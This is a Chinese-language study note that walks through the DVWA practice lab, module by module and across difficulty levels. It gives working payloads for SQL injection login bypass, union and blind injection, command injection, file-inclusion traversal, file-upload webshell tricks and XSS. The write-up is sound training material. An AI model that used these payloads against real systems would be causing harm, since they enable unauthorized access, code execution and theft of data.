dvwa通关笔记
dvwa通关笔记
Brute Force
low:
-
直接上burp暴力破解
-
因为过滤较少,我们也可以考虑一手sql注入,万能密码登陆,username处输入'有报错,输入"发现页面正常,那么这个地方首先判断是肯定存在sql注入的,根据我们前面总结这种没有怎么过滤的,输入什么报错,那么它就是什么闭合(排除有括号的情况,也可也根据报错提示,来判断什么闭合),此处为'闭合
直接 ' or 1=1 --+,或者 ' or 1=1 #无法进入,那么我们猜测过滤了注释符,' or '1'='1绕过(使最后面那 ' 正好与前面的1闭合,sql语句闭合且为真),但还是无法登陆
那么我们可以猜测,它的源码可能判断了必须要输入用户名,甚至密码,字符不能为空
尝试 aaa' or '1'='1
依然无法登陆
那么我们猜测,用户名是否做了一个的判断,数据库里面要有这个用户才能进行下一步密码匹配与否的检验,甚至是判断固定的一个用户名,如果没有那个用户名,无论如何也无法登陆
admin' or '1'='1
登陆成功
那么由此尝试admin'#,同样也登陆成功
medium
常规方法的话,和low基本一样,burp抓包进行爆破
注入的话,过滤得应该比较多了,有兴趣的也可以去尝试一手绕过
heigh
抓包可以查看到有token:
那么此时我们可以想到pikachu靶场的暴力破解token防爆破那一栏,其实和这个是一样的
选择音叉攻击
有效载荷为password和user_token
线程设置唯一
password参数自己弄个简单的密码清单,或者导入一个简单的密码字典
user_token参数设置为递归搜索:
去选项里点击添加:
Grep-Extract:
再去有效载荷集2这个地方,ctrl+v一把:
开始攻击,结果如下:
爆出密码为123
Command Injection
命令连接符:
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
low:
127.0.0.1|ipconfig
127.0.0.1&&net user
medium:
过滤了&
&,|仍可用
127.0.0.1|net user
high:
没有过滤|,|依然可以用
CSRF
low:直接burp抓包,修改,生成url,诱导受害者点击
medium:Referer参数的值中必须包含主机名,将攻击页面改名为127.0.0.1.html放如黑客的服务器里
high:获取用户的token,进行修改
File Inclusion
medium:
双写关键词绕过,如:
?page=..././..././hackable/uploads/shell.php
或
?page=hthttp://tp://127.0.0.1
high:
page参数必须以file开头
?page=file:///D:/phpStudy/DVWA/php.ini
File Upload
-
low:
没有过滤直接上传,直接一句话, -
medium:
burp抓包改类型为image/png
00截断,1、是将文件名改为1.php .png,burp抓包,将表示空格的20改为00,截断后面的.png,使之判定为php文件
-high:
对文件头进行了判断必须为图片格式,则制作图片马
cmd执行:
copy aa.png/b+bb.php/a cc.png
Insecure CAPTCHA
文件有缺失,喜欢折腾的可以去折腾一下
SQL Injection
low:-1'union select version(),database()#
medium:抓包,为数字型,直接联合注入
high:判断为字符型,'闭合,只是换了个地方进行联合注入
payload:
1' union select database(),version()#
SQL Injection(blind)
low:1'and length(database())>3#,正常
1'and length(database())>4#,异常
'闭合,上burp刚
medium:数字型,直接burp抓包干
high:判断为'闭合,也只是换了一个地方,但是不能配合burp爆破,只能手工不断猜解:
使用二分法:
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
Weak Session IDs
弱会话IDs,容易被猜到的session,从而被劫持会话,session是登陆服务器后,生成的一个登陆凭证,如果session在生命周期被盗取,相当于账号被盗取,黑客可以不输入密码,直接通过session登陆你的账号
-
low:
这就很直白了 -
medium
根据网上人云亦云的经验,它就是一个时间戳,如下图:
随便生成一个时间戳便可登陆进去 -
heigh
md5加密
XSS(DOM)
略,pikachu有详细讲解
XSS(Reflected)
- low:
<script>alert(1)</script>script>
<body onload=alert('xss2')>
<a href='' onclick=alert('xss3')>click1</a>
<img src='' onerror=alert('xss4')>
重定向:<script>window.location='http://www.163.com'</script>
获取cookie:<script>alert(document.cookie)</script>
- medium:
双写绕过:<scri<script>pt>alert(1)</script>
大小写绕过:<scRIpt>alert(1)</script>
尝试使用其他标签:
<body onload=alert('s')>
<a href=''onclick=alert(1)>click</a>
- high:
尝试使用别的标签绕过:
<body onload=alert('a')>
<img src="" onerror=alert(1)>
<a href='' onclick=alert(1)>click</a>
XXS(Stored)
- medium
<Script>alert(1)</Script>
<body onload=alert(1)>
<a href='' onclick=alert(1)>click</a>
- high
<body onload=alert(1)>
<a href='' onclick=alert(1)>click</a>